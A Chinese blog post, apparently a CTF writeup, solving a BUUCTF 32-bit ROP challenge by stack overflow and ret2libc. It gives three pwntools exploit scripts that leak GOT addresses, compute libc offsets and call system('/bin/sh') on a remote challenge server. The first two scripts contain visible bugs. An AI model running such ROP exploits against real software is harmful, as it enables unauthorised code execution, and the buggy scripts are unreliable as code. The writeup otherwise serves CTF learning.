当前位置: 首页 > news >正文

PWN手的成长之路-18_铁人三项(第五赛区)_2018_rop

image

file,checksec:
image

image

buf只有0x88字节大小,但read却可以往buf中输入0x100字节,使所以存在栈溢出。
image
且字符串中无/bin/sh,函数中无 system 函数,所以可以确定是ret2libc。

exp,这个exp可以泄露出write的地址:

from pwn import *
from LibcSearcher import *#start
r = remote('node5.buuoj.cn',25899)
elf = ELF('./pwn')
context.log_level = 'debug'#params
ret_addr = 8048199
write_got = elf.got['write']
write_plt = elf.got['write']
main_addr = elf.sym['main']#attack
payload = b'a'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0xD)
r.sendline(payload)write_real_addr = u32(r.recv(4))
print(hex(write_real_addr))#libc
libc = LibcSearcher('write',write_real_addr)
base_addr = write_real_addr - libc.dump('write')
binsh_addr = base_addr + libc.dump('str_bin_sh')
system_addr = base_addr + libc.dump('system')#attack2
payload2 = b'a'*(0x88+4) + p32(system_addr) + p32(main_addr) +p32(binsh_addr)
r.sendline(payload)
r.interactive()

image

exp2(这个exp泄露的是read的地址):

from pwn import *
from LibcSearcher import *#start
r = remote('node5.buuoj.cn',28419)
elf = ELF('./pwn')
context.log_level = 'debug'#params
ret_addr = 8048199
write_got = elf.got['write']
write_plt = elf.plt['write']
main_addr = elf.sym['main']
read_got = elf.got['read']#attack
payload = b'a'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)
r.sendline(payload)read_real_addr = u32(r.recv(4))
print(hex(read_real_addr))#libc
libc = LibcSearcher('write',write_real_addr)
base_addr = write_real_addr - libc.dump('write')
binsh_addr = base_addr + libc.dump('str_bin_sh')
system_addr = base_addr + libc.dump('system')
# base_addr = write_real_addr - 0x0e56f0        #libc.dump('write')
# binsh_addr = base_addr + 0x17b8cf             #libc.dump('str_bin_sh')
# system_addr = base_addr + 0x03cd10           #libc.dump('system')
#binsh_addr = 0x961df#attack2
payload2 = b'a'*(0x88+4) + p32(system_addr) + p32(0) +p32(binsh_addr)
r.sendline(payload)
r.interactive()

image

使用这两个地址的后三位,在 libc.blukat.me 网址中即可计算得到偏移。
image

之后编写总的exp:

from pwn import *
from LibcSearcher import *#start
r = remote('node5.buuoj.cn',28419)
elf = ELF('./pwn')
context.log_level = 'debug'#params
ret_addr = 8048199
write_got = elf.got['write']
write_plt = elf.plt['write']
main_addr = elf.sym['main']
read_got = elf.got['read']#attack
payload = b'a'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)
r.sendline(payload)read_real_addr = u32(r.recv(4))
print(hex(read_real_addr))#libc
base_addr = read_real_addr - 0x0e5620        
binsh_addr = base_addr + 0x17b8cf            
system_addr = base_addr + 0x03cd10         #attack2
payload2 = b'a'*(0x88+4) + p32(system_addr) + p32(1) +p32(binsh_addr)
r.sendline(payload2)
r.interactive()

因为在libcsearcher中并没有找到匹配的libc,所以用了这种计算的方法得到了flag。

http://www.hskmm.com/?act=detail&tid=33955

相关文章:

  • Dotnet通过Http2解决CVE-2025-55315高危漏洞
  • 日志|JAVAWEB|YApi|vue-cli|VUE-Element
  • 20232401 2025-2026-1 《网络与系统攻防技术》实验二实验报告
  • FFT学习小结
  • OI 笑传 #20
  • 幂等的双倍快乐,你值得拥有
  • 2025.10.18——1黄
  • 10.18总结
  • 10.17总结
  • 软考中级学习总结(2)
  • 2025年粉末冶金制品/零件厂家推荐排行榜,高精度耐磨粉末冶金零件,优质粉末冶金制品公司推荐!
  • Neo4j 图数据库搭建和 Springboot 访问
  • 2025粉末冶金制品优质厂家推荐:鸿瑞粉末冶金,专业定制品质卓越!
  • AI元人文理论框架体系研究:价值原语化的文明演进机制与治理范式转变——声明Ai研究
  • 20251018
  • [buuctf]bjdctf_2020_router
  • AtCoder Beginner Contest 428 ABCDE 题目解析
  • 稻草火把下的星辰:回忆我的90年代求学路
  • 10月18日日记
  • 第九章-实战篇-运维杰克
  • AntennaPod - 开源Android播客管理器
  • 硬件基础知识
  • 第三章 权限维持-linux权限维持-隐藏
  • 第五章 linux实战-黑链
  • AI元人文:价值原语化——在创新与传承间搭建文明桥梁
  • Channel小结
  • 线段树历史值学习笔记
  • 连续两行fastq、连续两行MD5值如何转换为每行一个fastq一个MD5格式
  • abc428
  • 深入解析密码库低级lowlevel抽象层接口与高级highlevel抽象层接口 - 实践